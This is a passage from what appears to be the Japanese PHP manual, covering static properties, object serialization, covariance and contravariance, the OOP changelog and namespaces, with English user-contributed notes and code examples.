    return "DataModelControl [name=$this->name, data=" . self::$data . "]";
  }
}

# create several instances of DataModelControl...
$dmc1 = new DataModelControl('dmc1');
$dmc2 = new DataModelControl('dmc2');
$dmc3 = new DataModelControl('dmc3');
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';

# To change data, use any DataModelControl object...
$dmc2->setData(512);
# Or, call setData() directly from the class...
DataModelControl::setData(1024);
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';
?>

 DataModelControl [name=dmc1, data=256]
 DataModelControl [name=dmc2, data=256]
 DataModelControl [name=dmc3, data=256]

 DataModelControl [name=dmc1, data=1024]
 DataModelControl [name=dmc2, data=1024]
 DataModelControl [name=dmc3, data=1024]

... even better! Now, PHP creates one copy of $data, that is shared amongst all DataModelControl objects.
wbcarts at juno dot com 30-Sep-2008 01:23
A BIT DILUTED... but it's alright!

In the PHP example above, the function foo($obj), will actually create a $foo property to "any object" passed to it - which brings some confusion to me:
  $obj = new stdClass();
  foo($obj);    // tags on a $foo property to the object
                // why is this method here?
Furthermore, in OOP, it is not a good idea for "global functions" to operate on an object's properties... and it is not a good idea for your class objects to let them. To illustrate the point, the example should be:

<?php

class A {
  protected $foo = 1;

  public function getFoo() {
    return $this->foo;
  }

  public function setFoo($val) {
    if($val > 0 && $val < 10) {
      $this->foo = $val;
    }
  }

  public function __toString() {
    return "A [foo=$this->foo]";
  }
}

$a = new A();
$b = $a;                        // $a and $b are copies of the same identifier
                                // ($a) = ($b) = <id>
$b->setFoo(2);
echo $a->getFoo() . '<br>';

$c = new A();
$d = &$c;                       // $c and $d are references
                                // ($c,$d) = <id>
$d->setFoo(2);
echo $c . '<br>';

$e = new A();
$e->setFoo(16);                 // will be ignored
echo $e;

?>
 - - -
 2
 A [foo=2]
 A [foo=1]
 - - -
Because the global function foo() has been deleted, class A is more defined, robust and will handle all foo operations... and only for objects of type A. I can now take it for granted and see clearly that your are talking about "A" objects and their references. But it still reminds me too much of cloning and object comparisons, which to me borders on machine-like programming and not object-oriented programming, which is a totally different way to think.


オブジェクトのシリアライズ

オブジェクトのシリアライズ - セッション内でのオブジェクト

serialize() は、 PHP で保存できるあらゆる値をバイトストリームで表した文字列を返します。 unserialize() を使うと、 この文字列から元の変数の値を取り出すことができます。 オブジェクトをシリアライズすると、オブジェクト内の変数もすべて保存されます。 オブジェクト内のメソッドは保存されません。 クラス名のみが保存されます。

オブジェクトを unserialize() するには、 そのオブジェクトのクラスが定義されている必要があります。 A クラスのオブジェクトをシリアライズしたのなら、 その文字列にはクラス A とその中のすべての変数の値が含まれています。 別のファイルでそれを復元してクラス A のオブジェクトを取り出すには、 まずそのファイル内にクラス A の定義が存在しなければなりません。 これを実現するには、たとえばクラス A の定義を別ファイルに書き出してそれを include したり spl_autoload_register() 関数を使ったりします。

<?php
// classa.inc:

  class A {
      public $one = 1;

      public function show_one() {
          echo $this->one;
      }
  }

// page1.php:

  include("classa.inc");

  $a = new A;
  $s = serialize($a);
  // $s を、page2.php からみつけられるどこかに書き出します
  file_put_contents('store', $s);

// page2.php:

  // シリアライズした文字列を復元するには、これが必要です
  include("classa.inc");

  $s = file_get_contents('store');
  $a = unserialize($s);

  // これで、$a オブジェクトの show_one() が使えるようになりました
  $a->show_one();
?>

アプリケーション内でオブジェクトをシリアライズして再利用する場合のお勧めは、 そのクラスの定義をアプリケーション全体で include することです。 クラスの定義が存在しなければオブジェクトの復元に失敗してしまいます。 その場合、PHP は __PHP_Incomplete_Class_Name クラスのオブジェクトを返します。このオブジェクトにはメソッドは一切なく、 使い道がなくなってしまいます。

つまり、もし上の例の $a を session_register("a") でセッションに格納するなら、 page1.php と page2.php だけではなく すべてのページで classa.inc を include しなければなりません。

ここまでで説明した以外の方法として、オブジェクトのシリアライズや復元のイベントを
__sleep() メソッドと
__wakeup() メソッドでフックすることができます。
__sleep() を使うと、
オブジェクトの一部のプロパティだけをシリアライズすることもできます。

User Contributed Notes

Anonymous 09-Dec-2020 06:58
Until such time as these documents are updated, note that `session_register()` is not needed to automatically serialize & unserialize objects in sessions. Any objects in `$_SESSION` are serialized when the session is closed (via `session_write_close()` or upon script exit) & unserialized when opened (via `session_start()`). The note about including classes throughout an app (either by including the definition globally or autoloading it) still holds.
michael at smith-li dot com 23-Feb-2015 07:28
Reading this page you'd be left with the impression that a class's `serialize` and `unserialize` methods are unrelated to the `serialize` and `unserialize` core functions; that only `__sleep` and `__unsleep` allow you to customize an object's serialization interface. But look at http://php.net/manual/en/class.serializable.php and you'll see that there is a more straightforward way to control how a user-defined object is serialized and unserialized.
php at lanar dot com dot au 18-Oct-2009 04:47
Note that static members of an object are not serialized.


共変性と反変性

PHP 7.2.0 で、子クラスのメソッドの引数の型の制限を除く形で、反変性が一部サポートされました。 PHP 7.4.0 以降で、共変性と反変性が完全にサポートされるようになりました。

共変性とは、子クラスのメソッドが、親クラスの返り値よりも、より特定の、狭い型を返すことを許すことです。 一方で、反変性とは、親クラスのものよりも、より抽象的な、広い型を引数に指定することを許すものです。

型宣言は以下の場合に、より特定の、狭い型であると見なされます:

  • union型から、特定の型が削除されている場合
  • クラスの型が、子クラスの型に変更されている場合
  • float が int に変更されている場合
上記と反対のことが当てはまる場合は、より抽象的な、広い型であると見なされます。

共変性

共変性がどのように動作するかを示すために、 単純な抽象クラスの親であるAnimal を作ることにします。 このクラスは子クラス Cat と Dog に継承されています。

<?php

abstract class Animal
{
    protected string $name;

    public function __construct(string $name)
    {
        $this->name = $name;
    }

    abstract public function speak();
}

class Dog extends Animal
{
    public function speak()
    {
        echo $this->name . " barks";
    }
}

class Cat extends Animal
{
    public function speak()
    {
        echo $this->name . " meows";
    }
}

この例では、どのメソッドも値を返さないことに注意して下さい。 以下ではこれらのクラスを使い、 Animal, Cat または Dog クラスの新しいオブジェクトを返すファクトリをいくつか作ってみることにします。

<?php

interface AnimalShelter
{
    public function adopt(string $name): Animal;
}

class CatShelter implements AnimalShelter
{
    public function adopt(string $name): Cat // Animal 型を返す代わりに、Cat型を返すことができる
    {
        return new Cat($name);
    }
}

class DogShelter implements AnimalShelter
{
    public function adopt(string $name): Dog // Animal 型を返す代わりに、Dog型を返すことができる
    {
        return new Dog($name);
    }
}

$kitty = (new CatShelter)->adopt("Ricky");
$kitty->speak();
echo "\n";

$doggy = (new DogShelter)->adopt("Mavrick");
$doggy->speak();

上の例の出力は以下となります。

Ricky meows
Mavrick barks

反変性

既に示した Animal, Cat および Dog クラスの例を引き続き使い、 Food と AnimalFood クラスを追加し、 Animal 抽象クラスに eat(AnimalFood $food) メソッドを追加してみましょう。

<?php

class Food {}

class AnimalFood extends Food {}

abstract class Animal
{
    protected string $name;

    public function __construct(string $name)
    {
        $this->name = $name;
    }

    public function eat(AnimalFood $food)
    {
        echo $this->name . " eats " . get_class($food);
    }
}

反変性 の振る舞いを見るため、Dog クラスの eat メソッドをオーバーライドし、あらゆる Food 型のオブジェクトを受け入れることにします。 Cat クラスは変更していません。

<?php

class Dog extends Animal
{
    public function eat(Food $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

さて、反変性がどのように動くかが以下でわかるでしょう。

<?php

$kitty = (new CatShelter)->adopt("Ricky");
$catFood = new AnimalFood();
$kitty->eat($catFood);
echo "\n";

$doggy = (new DogShelter)->adopt("Mavrick");
$banana = new Food();
$doggy->eat($banana);

上の例の出力は以下となります。

Ricky eats AnimalFood
Mavrick eats Food

しかし、$kitty の eat メソッドに $banana を渡すとどうなるでしょう？

$kitty->eat($banana);

上の例の出力は以下となります。

Fatal error: Uncaught TypeError: Argument 1 passed to Animal::eat() must be an instance of AnimalFood, instance of Food given

User Contributed Notes

phpnet-at-kennel17-dotco-dotuk 20-Jan-2021 05:51
Following the examples above, you might assume the following would be possible.

<?php

class CatFood extends AnimalFood { ... }

class Cat extends Animal
{
    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>

However, the Liskov Substitution Prinicpal, and therefore PHP, forbids this.  There's no way for cats to eat cat food, if animals are defined as eating animal food.

There are a large number of legitimate abstractions that are forbidden by PHP, due to this restriction.
Anonymous 12-Feb-2020 08:47
Covariance also works with general type-hinting, note also the interface:

interface xInterface
{
    public function y() : object;
}

abstract class x implements xInterface
{
    abstract public function y() : object;
}

class a extends x
{
    public function y() : \DateTime
    {
        return new \DateTime("now");
    }
}

$a = new a;
echo '<pre>';
var_dump($a->y());
echo '</pre>';
xedin dot unknown at gmail dot com 13-Jan-2020 04:20
I would like to explain why covariance and contravariance are important, and why they apply to return types and parameter types respectively, and not the other way around.

Covariance is probably easiest to understand, and is directly related to the Liskov Substitution Principle. Using the above example, let's say that we receive an `AnimalShelter` object, and then we want to use it by invoking its `adopt()` method. We know that it returns an `Animal` object, and no matter what exactly that object is, i.e. whether it is a `Cat` or a `Dog`, we can treat them the same. Therefore, it is OK to specialize the return type: we know at least the common interface of any thing that can be returned, and we can treat all of those values in the same way.

Contravariance is slightly more complicated. It is related very much to the practicality of increasing the flexibility of a method. Using the above example again, perhaps the "base" method `eat()` accepts a specific type of food; however, a _particular_ animal may want to support a _wider range_ of food types. Maybe it, like in the above example, adds functionality to the original method that allows it to consume _any_ kind of food, not just that meant for animals. The "base" method in `Animal` already implements the functionality allowing it to consume food specialized for animals. The overriding method in the `Dog` class can check if the parameter is of type `AnimalFood`, and simply invoke `parent::eat($food)`. If the parameter is _not_ of the specialized type, it can perform additional or even completely different processing of that parameter - without breaking the original signature, because it _still_ handles the specialized type, but also more. That's why it is also related closely to the Liskov Substitution: consumers may still pass a specialized food type to the `Animal` without knowing exactly whether it is a `Cat` or `Dog`.


変更履歴

PHP の OOP モデルの変更履歴をここに記録します。 個々の機能の説明や注意点については、クラスとオブジェクトに関するドキュメントを参照ください。

バージョン | 説明
7.4.0 | 変更: __toString() から、例外をスローすることができるようになりました。
7.4.0 | 追加: 戻り値の型を制限する 共変性 と、引数の型の 反変性 がサポートされました。 完全な型の変位指定は、オートローディングが使われている場合のみ有効です。 単一ファイル内では、型の参照が循環参照していない場合のみ可能です。
7.4.0 | 追加: クラスのプロパティは、型を宣言できるようになりました。
7.3.0 | 互換性のない変更: Traversable への引数のアンパックを int でないキーで行うことはサポートされなくなりました。 このような動作は意図されていなかったので、削除されました。
7.3.0 | 互換性のない変更: 7.3.0 より前のバージョンでは、参照を代入することによって、 static なプロパティが異なる値になる可能性がありました。 この振る舞いは削除されました。
7.3.0 | 変更: instanceof 演算子が、 最初のオペランドにリテラルを受け入れるようになりました。 この場合、結果は常に FALSE を返します。
7.2.0 | 推奨されない変更: __autoload() メソッドは非推奨になりました。 spl_autoload_register() を使うのが望ましいためです。
7.2.0 | 変更: 次の名前は、クラスや trait、 インターフェイスの名前として使うことが禁止されます: object
7.2.0 | 変更: 名前空間のグループ指定における最後のカンマが許可されるようになりました。
7.2.0 | 変更: パラメータの型の拡大変換が可能になりました。 オーバーライドされたメソッドや、インターフェイスの実装の 引数の型を省略できるようになりました。
7.2.0 | 変更: ある抽象クラスが別の抽象クラスを継承しているときに、 継承元クラスの抽象メソッドをオーバーライドできるようになりました。
7.1.0 | 変更: 以下のキーワードが、 クラスやインターフェイスやトレイトの名前として使えなくなりました: void と iterable
7.1.0 | 追加: クラス定数のアクセス範囲 を指定できるようになりました。
7.0.0 | 推奨されない変更: static 宣言されていないメソッドに対する static 呼び出しが非推奨となりました。
7.0.0 | 推奨されない変更: PHP 4 形式の コンストラクタ は非推奨になりました。 つまり、クラスと同じ名前のメソッドがクラスに定義されていた場合です。
7.0.0 | 追加: use 宣言のグループ化: 複数のクラスや関数そして定数を同じ namespace からインポートする際に、 単一の use 文にまとめられるようになりました。
7.0.0 | 追加: new class 経由での 無名クラス のサポートが追加されました。
7.0.0 | 互換性のない変更: Traversable ではない object の反復処理の挙動が、 array を参照渡しで反復処理したときと同じようになりました。
7.0.0 | 変更: (互換性のある) プロパティを2つの traits で使っても エラーにならなくなりました。
5.6.0 | 追加: __debugInfo() メソッド。
5.5.0 | 追加: ::class マジック定数。
5.5.0 | 追加: 例外処理に finally。
5.4.0 | 追加: トレイト が追加されました。
5.4.0 | 変更: 抽象クラスで コンストラクタのシグネチャを定義している場合は、 そのシグネチャに従うことが必須となりました。
5.3.3 | 変更: 名前空間 つきのクラス名の最後の部分と同じ名前のメソッドは、コンストラクタ とはみなされなくなりました。 名前空間を使っていないクラスは今までと変わりません。
5.3.0 | 変更: プロトタイプでデフォルト値を指定したメソッドをもつインターフェイスを 実装したクラスを作るときに、実装側でのデフォルト値を インターフェイスのデフォルト値と一致させなくてもよくなりました。
5.3.0 | 変更: 変数を使ってクラスを参照することができるようになりました (例: echo $classname::constant;)。 この変数の値に、キーワード (self や parent、static など) を使うことはできません。
5.3.0 | 変更: オーバーロード メソッドが static 宣言されている場合に E_WARNING レベルのエラーが発生するようになりました。 また、public 宣言することが必須となりました。
5.3.0 | 変更: 5.3.0 より前のバージョンでは、 __autoload() 関数の中で発生した例外を catch ブロックで捕捉することができず、 致命的なエラーとなっていました。このバージョンからは __autoload 関数内で発生した例外を catch ブロックで捕捉できるようになりましたが、ひとつ条件があります。 独自の例外クラスをスローする場合は、その例外クラスが使用可能でなければなりません。 __autoload 関数は、再帰的に呼び出されて独自の例外クラスを読み込もうとする可能性があります。
5.3.0 | 追加: __callStatic メソッド。
5.3.0 | 追加: ヒアドキュメント および Nowdoc の、クラス定数やプロパティの定義での使用。 注意: ヒアドキュメントの値は、ダブルクォートで囲んだ文字列と同じ規則に従わなければなりません (その中で変数を使えないなど)。
5.3.0 | 追加: 遅延静的束縛。
5.3.0 | 追加: __invoke() メソッド。
5.2.0 | 変更: __toString() メソッドがコールされるのは echo や print と直接組み合わせて使った場合のみでした。このバージョンからは、任意の string コンテキスト (printf() で %s 修飾子を使った場合など) でコールされるようになりました。ただし、他の型のコンテキスト (%d 修飾子を使った場合など) は除きます。 PHP 5.2.0 以降は、__toString メソッドを持たない object を string に変換しようとすると E_RECOVERABLE_ERROR レベルのエラーが発生します。
5.1.3 | 変更: PHP 5 の初期のバージョンでは var を使うことが非推奨とされており、E_STRICT レベルのエラーが発生していました。 このバージョンからは非推奨ではなくなり、エラーが発生しなくなりました。
5.1.0 | 変更: __set_state() メソッドが、 var_export() でエクスポートしたクラスに対してもコールされるようになりました。
5.1.0 | 追加: __isset() メソッドおよび __unset() メソッド。

User Contributed Notes

There are no user contributed notes for this page.


名前空間

目次

  • 名前空間の概要
  • 名前空間の定義
  • サブ名前空間の宣言
  • 同一ファイル内での複数の名前空間の定義
  • 名前空間の使用法: 基本編
  • 名前空間と動的言語機能
  • namespace キーワードおよび __NAMESPACE__ 定数
  • 名前空間の使用法: エイリアス/インポート
  • グローバル空間
  • 名前空間の使用法: グローバル関数/定数への移行
  • 名前解決のルール
  • FAQ: 名前空間について知っておくべきこと

User Contributed Notes

Anonymous 10-May-2016 08:15
Tested on PHP 7.0.5, Windows
The line "use animate;" equals the line "use animate as animate;"
but the "use other\animate;" equals "use other\animate as animate;"

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace other\animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use other\animate;       //use other\animate as animate;
  echo feline\Cat::says(), "<br />\n";
  echo canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>
varuninorbit at yahoo dot co dot in 27-Dec-2015 06:43
here is a simple example to use namespace

<?php

namespace app\a{
    class one{
       public static function _1(){
        echo 'a one _1<br>';
       }
    }
}

namespace app\b{
    class one{
        public static function _2(){
            echo 'b one _2<br>';
        }
    }
}

namespace app{

    echo a\one::_1();
    echo b\one::_2();
    echo a\two::_1();
}

namespace app\a{
    class two{
       public static function _1(){
        echo 'a two _1<br>';
       }
    }
}

prints
a one _1
b one _2
a two _1
davidkennedy85 at gmail dot com 26-Mar-2015 05:04
In addition to using namespaces and closures, the use keyword has another new meaning as of PHP 5.4 - using traits:

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

More info here: http://php.net/manual/en/language.oop5.traits.php
Ronald W 22-Jan-2015 01:13
<?php
// multiple namespaces in a single file:

namespace foo{
  class Cat {
    static function says() {echo 'meoow';}  }
}

namespace bar{
  class Dog {
    static function says() {echo 'ruff';}  }
  class Cat {
    static function says() {echo 'meowi';}  }
  class Mouse {     //nonstatic function
    function says() {echo 'Come and get me ;)';}  }
}

namespace animate{
  class Animal {
    static function breathes() {echo 'air';}  }
}

namespace{        // No Namespace: global code
  use foo as feline;
  use bar as canine;
  use bar\Mouse as MouseOnly;
  use animate;
  echo animate\Animal::breathes(), "<br />\n";
  echo feline\Cat::says(), "<br />\n"; //not starting with a slash!
  echo canine\Cat::says(), "<br />\n";
  echo canine\Dog::says(), "<br />\n";
  //any of the three following lines work:
  // $micky=new bar\Mouse();
  // $micky=new canine\Mouse();
  $micky=new test();
  echo $micky->says();
}
?>
Anonymous 25-May-2011 11:06
The keyword 'use' has two different applications, but the reserved word table links to here.

It can apply to namespace constucts:

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use animate;
  echo \feline\Cat::says(), "<br />\n";
  echo \canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>

Note that
felineCat::says()
should be
\feline\Cat::says()
(and similar for the others)
but this comment form deletes the backslash (why???)

The 'use' keyword also applies to closure constructs:

<?php function getTotal($products_costs, $tax)
    {
        $total = 0.00;

        $callback =
            function ($pricePerItem) use ($tax, &$total)
            {

                $total += $pricePerItem * ($tax + 1.0);
            };

        array_walk($products_costs, $callback);
        return round($total, 2);
    }
?>


名前空間の概要

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

名前空間とは何でしょう? 広義の「名前空間」とは、項目をカプセル化するもののことです。 これは多くの場面で見られる抽象概念です。 たとえば、たいていの OS はディレクトリでファイルをグループ化します。 この場合、ディレクトリがその中のファイルの名前空間として機能しています。 具体的に言うと、foo.txt というファイルは /home/greg と /home/other の両方に存在することが可能ですが、それらふたつの foo.txt を同じディレクトリに配置することはできません。 さらに、/home/greg ディレクトリの外から foo.txt にアクセスするには、ディレクトリ名をファイル名の前につけて /home/greg/foo.txt としなければなりません。 プログラミングの世界における名前空間も、この延長線上にあります。

PHP の世界では、名前空間は次のふたつの問題を解決するための手段として用意されています。 ライブラリやアプリケーションの作者が、 クラスや関数といった再利用可能なコード部品を作ろうとするときにこれらの問題にぶちあたることになります。

  1. あなたが作成したコードと PHP の組み込みのクラス/関数/定数 あるいはサードパーティのクラス/関数/定数の名前が衝突する
  2. 最初の問題を解決するためには、Extra_Long_Names のような長い名前をつけなければならない

PHP の名前空間は、関連するクラスやインターフェイス、関数、そして定数をひとまとめにして扱うものです。 PHP の名前空間構文の例を見てみましょう。

例1 名前空間構文の例

<?php
namespace my\name; // "名前空間の定義" を参照ください

class MyClass {}
function myfunction() {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass; // "グローバル空間" を参照ください

$a = strlen('hi'); // "名前空間の使用法: グローバル関数/定数への
                   // 移行" を参照ください

$d = namespace\MYCONST; // "namespace 演算子および __NAMESPACE__ 定数"
                        // を参照ください
$d = __NAMESPACE__ . '\MYCONST';
echo constant($d); // "名前空間および動的言語機能" を参照ください
?>

注意: 名前空間の名前は、大文字小文字を区別しません。

注意:

名前空間の名前として PHP や これらで始まる名前 (PHP\Classes など) は 言語の内部で使うために予約されており、ユーザーのコードで使うべきではありません。

User Contributed Notes

Anonymous 27-Jan-2021 04:19
php reserve keywords are not allowed as a namespace name.But namespace name "php" can be allowed.

Here are some example:

namespace php;//works
namespace class;//Parse error: syntax error, unexpected 'class'
namespace const;//Parse error: syntax error, unexpected 'const'
namespace constant;//works
namespace interface;//Parse error: syntax error, unexpected 'interface'
namespace function;//Parse error: syntax error, unexpected 'function'
TonyMarston at tonymarston dot net 20-Jan-2021 08:43
I should point out that namespaces were implemented in PHP to resolve name clashes in userland code. It was never the intention to eventually change the entire language to use namespaces instead of prefixes (ie: change mysqli_connect() to mysqli/connect()) as this would be a huge BC break.

I should also point out that the PSR standards created by the FIG group are *NOT* the official standards for PHP. While there are coding standards for contributing to PHP core, or for creating extensions, there are none for userland developers who are free to adopt whatever standards they choose.
pierstoval at gmail dot com 05-Dec-2014 10:00
To people coming here by searching about namespaces, know that a consortium has studied about best practices in PHP, in order to allow developers to have common coding standards.

These best practices are called "PHP Standard Recommendations" , also known as PSR.

They are visible on this link : http://www.php-fig.org/psr

Actually there are 5 coding standards categories :
PSR-0 : Autoloading Standard , which goal is to make the use of Namespaces easier, in order to convert a namespace into a file path.
PSR-1 : Basic Coding Standard , basically, standards :)
PSR-2 : Coding Style Guide, where to put braces, how to write a class, etc.
PSR-3 : Logger Interface , how to write a standard logger
PSR-4 : Improved Autoloading , to resolve more Namespaces into paths.

The ones I want to point are PSR-0 and PSR-4 : they use namespaces to resolve a FQCN (Fully qualified class name = full namespace + class name) into a file path.
Basic example, you have this directory structure :
./src/Pierstoval/Tools/MyTool.php

The namespacing PSR-0 or PSR-4 standard tells that you can transform this path into a FQCN.
Read the principles of autoload if you need to know what it means, because it's almost mandatory ;) .

Structure :
{path}/autoloader.php
{path}/index.php
{path}/src/Pierstoval/Tools/MyTool.php

Files :

<?php
    // {path}/index.php
    include 'autoloader.php';
    $tool = new Pierstoval/Tools/MyTool();
?>

<?php
    // {path}/src/Pierstoval/Tools/MyTool.php
    namespace Pierstoval\Tools;
    class MyTool {}
?>

<?php
    // {path}/autoloader.php
    function loadClass($className) {
        $fileName = '';
        $namespace = '';

        // Sets the include path as the "src" directory
        $includePath = dirname(__FILE__).DIRECTORY_SEPARATOR.'src';

        if (false !== ($lastNsPos = strripos($className, '\\'))) {
            $namespace = substr($className, 0, $lastNsPos);
            $className = substr($className, $lastNsPos + 1);
            $fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
        }
        $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
        $fullFileName = $includePath . DIRECTORY_SEPARATOR . $fileName;

        if (file_exists($fullFileName)) {
            require $fullFileName;
        } else {
            echo 'Class "'.$className.'" does not exist.';
        }
    }
    spl_autoload_register('loadClass'); // Registers the autoloader
?>
A standardized autoloader will get the class you want to instanciate (MyTool) and get the FQCN, transform it into a file path, and check if the file exists. If it does, it will <?php include(); ?> it, and if you wrote your class correctly, the class will be available within its correct namespace.
Then, if you have the following code :
<?php $tool = new Pierstoval/Tools/MyTool(); ?>
The autoloader will transform the FQCN into this path :
{path}/src/Pierstoval/Tools/MyTool.php

This might be the best practices ever in PHP framework developments, such as Symfony or others.
Dmitry Snytkine 31-May-2011 06:54
Just a note: namespace (even nested or sub-namespace) cannot be just a number, it must start with a letter.
For example, lets say you want to use namespace for versioning of your packages or versioning of your API:

namespace Mynamespace\1;  // Illegal
Instead use this:
namespace Mynamespace\v1; // OK
SteveWa 27-Feb-2011 08:45
Thought this might help other newbies like me...

Name collisions means:
you create a function named db_connect, and somebody elses code that you use in your file (i.e. an include) has the same function with the same name.

To get around that problem, you rename your function SteveWa_db_connect  which makes your code longer and harder to read.

Now you can use namespaces to keep your function name separate from anyone else's function name, and you won't have to make extra_long_named functions to get around the name collision problem.

So a namespace is like a pointer to a file path where you can find the source of the function you are working with


名前空間の定義

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP のコードならなんでも名前空間に含めることができますが、 実際に名前空間の影響を受けるのはクラス (抽象クラスやトレイトを含む) とインターフェイス、関数、そして定数だけです。

名前空間を宣言するには、キーワード namespace を使用します。名前空間を含むファイルでは、他のコードより前にファイルの先頭で名前空間を宣言しなければなりません。 ただし declare キーワードは例外です。

例1 名前空間の宣言

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

?>

注意: 完全修飾名(つまり、バックスラッシュで始まる名前) は名前空間の宣言では許されません。 なぜなら、この構成要素は名前空間の相対名として解釈される式だからです。

名前空間の宣言より前に書くことが許されているコードは declare 文のみです。ソースファイルのエンコーディングを定義するために使用します。 さらに、PHP コード以外であっても名前空間の宣言の前に記述することはできません (スペースも同様です)。

例2 名前空間の宣言

<html>
<?php
namespace MyProject; // fatal error - namespace must be the first statement in the script
?>

さらに、他の PHP の制御構造とは異なり、同一の名前空間を複数のファイルで定義することができます。 これにより、ひとつの名前空間の内容をファイルシステム上で分割することができます。

User Contributed Notes

anisgazig at gmail dot com 21-Jan-2021 05:13
namespace statement  is defined at first of the php files. But
    before namespace declaration only three elements allowed.
      1.declare statement
      2.spaces
      3.comments
anisgazig at gmail dot com 14-Jan-2021 04:03
Namespace name are case-insensitive.
namespace App
and
namespace app
are same meaning.

Besides, Namespace keword are case-insensitive.
Namespace App
namespace App
and
NAMESPACE App
are same meaning.
kuzawinski dot marcin at NOSPAM dot gmail dot com 05-Aug-2014 09:52
If your code looks like this:

<?php
    namespace NS;
?>

...and you still get "Namespace declaration statement has to be the very first statement in the script" Fatal error, then you probably use UTF-8 encoding (which is good) with Byte Order Mark, aka BOM (which is bad). Try to convert your files to "UTF-8 without BOM", and it should be ok.
FatBat 08-Aug-2013 09:46
Expanding on @danbettles note, it is better to always be explicit about which constant to use.

<?php
    namespace NS;

    define(__NAMESPACE__ .'\foo','111');
    define('foo','222');

    echo foo;  // 111.
    echo \foo;  // 222.
    echo \NS\foo  // 111.
    echo NS\foo  // fatal error. assumes \NS\NS\foo.
?>
huskyr at gmail dot com 05-Oct-2009 04:20
"A file containing a namespace must declare the namespace at the top of the file before any other code"

It might be obvious, but this means that you *can* include comments and white spaces before the namespace keyword.

<?php
// Lots
// of
// interesting
// comments and white space

namespace Foo;
class Bar {
}
?>
jeremeamia at gmail dot com 14-Jul-2009 08:43
You should not try to create namespaces that use PHP keywords. These will cause parse errors.

Examples:

<?php
namespace Project/Classes/Function; // Causes parse errors
namespace Project/Abstract/Factory; // Causes parse errors
?>
danbettles at yahoo dot co dot uk 14-Apr-2009 12:02
Regarding constants defined with define() inside namespaces...

define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
Baptiste 14-May-2008 12:47
There is nothing wrong with PHP namespaces, except that those 2 instructions give a false impression of package management.
... while they just correspond to the "with()" instruction of Javascript.

By contrast, a package is a namespace for its members, but it offers more (like deployment facilities), and a compiler knows exactly what classes are in a package, and where to find them.
Anonymous 01-Apr-2008 11:11
@ RS: Also, you can specify how your __autoload() function looks for the files. That way another users namespace classes cannot overwrite yours unless they replace your file specifically.


サブ名前空間の宣言

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ディレクトリやファイルと同様、PHP の名前空間においても名前空間の階層構造を指定することができます。 このようにして名前空間を定義します。

例1 階層つきの名前空間の宣言

<?php
namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

?>
上の例は、定数 MyProject\Sub\Level\CONNECT_OK とクラス MyProject\Sub\Level\Connection、 そして関数 MyProject\Sub\Level\connect を作成します。

User Contributed Notes

There are no user contributed notes for this page.


同一ファイル内での複数の名前空間の定義

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

複数の名前空間を同一ファイル内で宣言することもあります。 この場合の構文は次の 2 通りです。

例1 シンプルな組み合わせ方式による複数の名前空間の宣言

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
?>

この構文は、複数の名前空間をひとつのファイルに含める場合の方法としてはお勧めしません。 かわりに、次の波括弧構文を使うことを推奨します。

例2 波括弧構文による複数の名前空間の宣言

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}
?>

ただ、複数の名前空間をひとつのファイルに記述するようなコーディングはできるだけ避けるべきです。 主な使い道としては、複数の PHP スクリプトをひとつのファイルにまとめるときくらいでしょう。

名前空間に属さないグローバルなコードを名前空間つきのコードと組み合わせるときには、 波括弧構文しか使用できません。グローバルなコードは、名前空間の名前を指定しない namespace 文で囲みます。たとえば次のようになります。

例3 複数の名前空間および名前空間に属さないコードの宣言

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // グローバルコード
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

